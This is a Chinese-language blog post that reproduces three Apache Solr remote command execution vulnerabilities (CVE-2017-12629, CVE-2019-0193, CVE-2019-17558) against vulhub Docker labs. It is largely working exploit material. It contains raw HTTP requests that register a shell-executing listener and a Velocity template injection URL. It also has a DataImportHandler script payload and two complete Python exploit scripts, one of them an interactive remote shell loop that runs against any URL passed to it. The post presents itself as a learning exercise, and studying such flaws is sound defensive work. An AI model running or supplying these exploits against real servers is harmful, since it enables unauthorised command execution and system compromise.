漏洞复现|Apache Solr 远程命令执行漏洞

作者:r0n1n
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

CVE-2017-12629

0x01 漏洞描述

Apache Solr 是一个基于Java语言利用HTTP&Apache Lucene 来实现的开源的搜索服务器。原理是文档通过Http利用XML加到一个搜索集合中,查询是通过 http收到一个XML/JSON响应来进行查询操作。

0x02 影响版本

Apache Solr < 7.1
Apache Lucene < 7.1

0x03 测试环境

1、使用vulhub的docker环境直接启动:

cd ./vulhub/solr/CVE-2017-12629-RCE$
docker-compose up -d

启动后访问http://your-ip:8080/http://your-ip:8983/即可查看到Apache solr的管理页面。
在这里插入图片描述

0x04 漏洞复现

首先创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参数:

POST /solr/demo/config HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158

{
    
    "add-listener":{
    
    "event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}

在这里插入图片描述
然后进行update操作,触发刚才添加的listener:

POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15
[{
    
    "id":"test"}]

在这里插入图片描述
进入容器,可见/tmp/success已成功创建:
在这里插入图片描述

CVE-2019-0193

0x01 漏洞描述

漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。
它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置,由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。

0x02 影响版本

Apache Solr 1.3 – 8.2

0x03 漏洞环境

使用vulhub的docker环境直接启动:

cd ./vulhub/solr/CVE-2017-12629-RCE$
docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

访问http://your-ip:8983/即可查看到Apache solr的管理页面,无需登录。
在这里插入图片描述

0x04 漏洞复现

首先打开刚刚创建好的test核心,选择Dataimport功能并选择debug模式,填入以下POC:

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){
    
     java.lang.Runtime.getRuntime().exec("touch /tmp/success");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

点击Execute with this Confuguration发送
在这里插入图片描述
执行docker-compose exec solr ls /tmp,可见/tmp/success已成功创建:

0x05 POC

import requests
import json
import sys


banner = '''
   _______      ________    ___   ___  __  ___          ___  __  ___ ____  
  / ____\ \    / /  ____|  |__ \ / _ \/_ |/ _ \        / _ \/_ |/ _ \___ \ 
 | |     \ \  / /| |__ ______ ) | | | || | (_) |______| | | || | (_) |__) |
 | |      \ \/ / |  __|______/ /| | | || |\__, |______| | | || |\__, |__ < 
 | |____   \  /  | |____    / /_| |_| || |  / /       | |_| || |  / /___) |
  \_____|   \/   |______|  |____|\___/ |_| /_/         \___/ |_| /_/|____/ 
                                                                                                                       

'''
print (banner)

def admin_cores(url, cmd):
    core_selector_url = url + '/solr/admin/cores?_=1565526689592&indexInfo=false&wt=json'
    r = requests.get(url=core_selector_url)
    json_strs = json.loads(r.text)
    if r.status_code ==200 and "responseHeader" in r.text:
        print ("\nHere Have %s Core_name Exit!\n" % str(len(json_strs['status'])))
        for core_selector in json_strs['status']:
            jas502n_Core_Name = json_strs['status']['%s'%core_selector]['name']
            print ('\n>>>>The Core Name = %s' % jas502n_Core_Name)
            show_config(url,jas502n_Core_Name)
            get_config_name(url,jas502n_Core_Name)
            URLDataSource_Poc(url,jas502n_Core_Name,cmd)
            
    else:
        print ("No core_selector Exit!")
    


        
def show_config(url,jas502n_Core_Name):
    config_url = url + "/solr/"+ jas502n_Core_Name +"/dataimport?_=1565530241159&command=show-config&indent=on&wt=json"
    r1 = requests.get(config_url)
    
    if r1.status_code ==200 and 'dataConfig' in r1.text:
        print (">> config_url= %s"% config_url)
        print (">%s dataConfig Exit!" % jas502n_Core_Name)
    else:
        print ("dataConfig No Exit!")



def get_config_name(url,jas502n_Core_Name):
    get_config_url = url + '/solr/'+ jas502n_Core_Name +'/dataimport?_=1565530241159&command=status&indent=on&wt=json'
    r2 = requests.get(get_config_url)
    if r2.status_code ==200 and 'config' in r2.text:
        print (">> get_config_url= %s" % get_config_url)
        r2_json = json.loads(r2.text)
        r2_str = r2_json['initArgs']
        
        print ('>get_config_name= %s' % r2_str[1][1])
        
    else:
        print ("Core Config Name No Exit!")



def URLDataSource_Poc(url,jas502n_Core_Name,cmd):
    debug_model_url = url + '/solr/'+ jas502n_Core_Name +'/dataimport?_=1565530241159&indent=on&wt=json'
    payload = "command=full-import&verbose=false&clean=true&commit=true&debug=true&core=atom&dataConfig=%%3CdataConfig%%3E%%0A++%%3CdataSource+type%%3D%%22URLDataSource%%22%%2F%%3E%%0A++%%3Cscript%%3E%%3C!%%5BCDATA%%5B%%0A++++++++++function+poc()%%7B+java.lang.Runtime.getRuntime().exec(%%22%s%%22)%%3B%%0A++++++++++%%7D%%0A++%%5D%%5D%%3E%%3C%%2Fscript%%3E%%0A++%%3Cdocument%%3E%%0A++++%%3Centity+name%%3D%%22stackoverflow%%22%%0A++++++++++++url%%3D%%22https%%3A%%2F%%2Fstackoverflow.com%%2Ffeeds%%2Ftag%%2Fsolr%%22%%0A++++++++++++processor%%3D%%22XPathEntityProcessor%%22%%0A++++++++++++forEach%%3D%%22%%2Ffeed%%22%%0A++++++++++++transformer%%3D%%22script%%3Apoc%%22+%%2F%%3E%%0A++%%3C%%2Fdocument%%3E%%0A%%3C%%2FdataConfig%%3E&name=dataimport" % cmd
    headers = {
    
    
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
    "Accept": "application/json, text/plain, */*",
    "Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
    "Accept-Encoding":"gzip, deflate",
    "Content-type":"application/x-www-form-urlencoded",
    "X-Requested-With":"XMLHttpRequest",
    "Referer":"http://%s/solr/" % url

    }
    r3 = requests.post(url = debug_model_url, data=payload,headers=headers)
    print (">>>>> debug_model_url= %s" % debug_model_url)
    if r3.status_code ==200 and 'Requests' in r3.text:

        print ("Send Poc Success!")
    else:
        print ("No Send Poc Success!")
        print (r3.text)



if __name__ == '__main__':
    cmd = sys.argv[2]
    url = sys.argv[1]
    admin_cores(url,cmd)

在这里插入图片描述

CVE-2019-17558

0x01 漏洞描述

Apache Solr 5.0.0到Apache Solr 8.3.1容易受VelocityResponseWriter的远程执行代码的攻击。
通过configsetvelocity/目录中的Velocity模板或作为参数来提供Velocity模板来进行完善payload。用户定义的配置集可能包含可渲染的,也可能是恶意的模板。
参数提供的模板默认情况下处于禁用状态,但是可以通过params.resource.loader.enabled定义该属性设置为的响应编写器进行设置来启用true若要定义响应编写器需要配置API访问。
2019年10月30日,国外安全研究人员公布了一个关于solr 模板注入的exp,攻击者通过未授权访问solr服务器,发送特定的数据包开启 params.resource.loader.enabled,然后get访问接口导致服务器命令执行。

0x02 影响版本

Apache Solr 5.0.0-8.3.1

0x03 漏洞环境

使用vulhub的docker环境直接启动:

cd ./vulhub/solr/CVE-2019-17558$
docker-compose up -d

访问http://your-ip:8983/即可。
在这里插入图片描述

0x04 漏洞复现

首先需要通过以下API获取所有内核名称:

http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

在这里插入图片描述
params.resource.loader.enabled通过以下API启用配置,API端点为/solr/[core name]/config

POST /solr/demo/config HTTP/1.1
Host: ip:8983
Content-Type: application/json
Content-Length: 259

{
    
    
  "update-queryresponsewriter": {
    
    
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

在这里插入图片描述
通过Velocity模板触发漏洞:

http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

0x05 POC

import requests
import sys
import json
    
url = sys.argv[1]

core_url = url + "/solr/admin/cores?indexInfo=false&wt=json"
try:
    r = requests.request("GET", url=core_url, timeout=10)
    core_name = list(json.loads(r.text)["status"])[0]
    print ("[+] GET API: "+url+"/solr/"+core_name+"/config")
except:
    print ("[-] Target Not Vuln Good Luck")
    sys.exit(0)
    


api_url = url + "/solr/" +core_name+ "/config"
headers = {
    
    "Content-Type": "application/json"}
set_api_data ="""
{
    
    
  "update-queryresponsewriter": {
    
    
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}
"""
api = requests.request("POST", url=api_url, data=set_api_data, headers=headers)
code = str(api.status_code)
if api.status_code == 200:
    print ("[+] <HTTP" +code+ "> SET API Success")
else:
    print ("[-] <HTTP" +code+ "> SET API Failed Good Luck")
    sys.exit(0)


def do_exp(cmd):
    vuln_url = url+"/solr/"+core_name+"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27"+cmd+"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
    r = requests.request("GET", vuln_url)
    print (r.text)

while 1:
    cmd = input("Shell >>> ")
    if cmd == "exit" : exit(0)
    do_exp(cmd)

了解更多安全知识

欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_42282189/article/details/120854870